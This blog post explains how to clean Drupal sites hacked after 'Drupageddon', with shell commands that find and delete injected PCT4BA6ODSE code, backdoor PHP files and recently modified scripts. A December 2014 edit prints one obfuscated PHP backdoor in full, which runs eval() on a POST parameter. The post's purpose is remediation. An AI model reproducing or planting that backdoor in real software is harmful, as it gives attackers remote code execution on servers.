Ways to recover a hacked Drupal system with 'PCT4BA6ODSE' in its PHP files

How to un-fudge a system after you've patched it for so-called "Drupageddon"
How to un-fudge a system after you've patched it for so-called "Drupageddon"

For those seeing 'PCT4BA6ODSE' in their PHP files - I have some easy commands to run for scrubbing your site out completely of these hacks (in case you do not have backups). This will not fix the underlying issue, but if you find that your PHP files have been devoured by the hackers this will at least clean up the files without damaging them.

This attack does two things: firstly, in creates NEW php files scattered throughout your directory structure. The files are all 494 bytes long, and end in "php" so they are easy to find. Run the following command to see if you have any:

find . -size 494c -name "*.php"

...and then run this command to delete them:

find . -size 494c -name "*.php" | xargs rm

And the second thing this exploit/attack does is alter EXISTING files with the malicious code. To see if any of your normal Drupal PHP files have been injected with this PCT4B code, go to the root of your site and issue the following command:

grep -Rl PCT4BA6ODSE .

This will look through your entire site, looking for instances of either newly-creately or pre-existing files that have been hacked with this variant - files that will now allow outside attackers to bounce commands off your server. Assuming the result of this command indeed lists affected files, you can then run this additional command:

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'

This will sweep through all affected files, removing the malicious code but saving the rest of the file. Make sure you have backups of your system in case something goes wrong, etc etc etc...

People have been approaching me to help save their crusty, non-archived sites that were so ancient, and with HUNDREDS of affected files, that remediations of every PHP file would have taken me days. These simple commands did the trick.

Edit December 2014:

Here's another attack that has become popular, hopefully we don't need to start a list!

<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q6ae4d5'])){eval(${$s20}['q6ae4d5']);}?>

Edit March 2015:

More exploits may have been found. And the 494-byte files mentioned above are now 510 bytes, update your commands accordingly!

Still going... I have reports of patched sites (Drupal 7.32 and beyond) getting hacked now, but I suspect they were already hacked from before and the malicious code was lurking all this time. It seems these guys are smart enough to upload multiple exploits but to use only one family of scripts at a time, leaving others sleeping for later after we scrub the first round out.

One trick is to grep -Rl 'eval(' and look for files that end in php. There should be very few, and those you find better line up with the distribution Drupal code. Try https://www.drupal.org/project/hacked to be sure. And when you find small files with eval( and php, edit them and see if they are obfuscated. If so, nuke 'em.

Finding many more. Hacked sites coming out of the woodwork! Some client of mine are having trouble finding *all* the exploits, but they know approximately when the site was hacked. To search for php files that were created (or more specifically 'last modified' near a certain date, try this:

find . -type f -newermt 2014-10-01 ! -newermt 2014-10-31 -name "*.php"

This command will find all files (recursively) that end in .php (so they are executable from outside) which were last modified in the month of October. To search instead for when the permissions were changed, replace -newermt with -newerct

Here's what I found once I re-encoded one of these hacked files for extended characters - looks like China is hiding content in our Drupal directories ;^)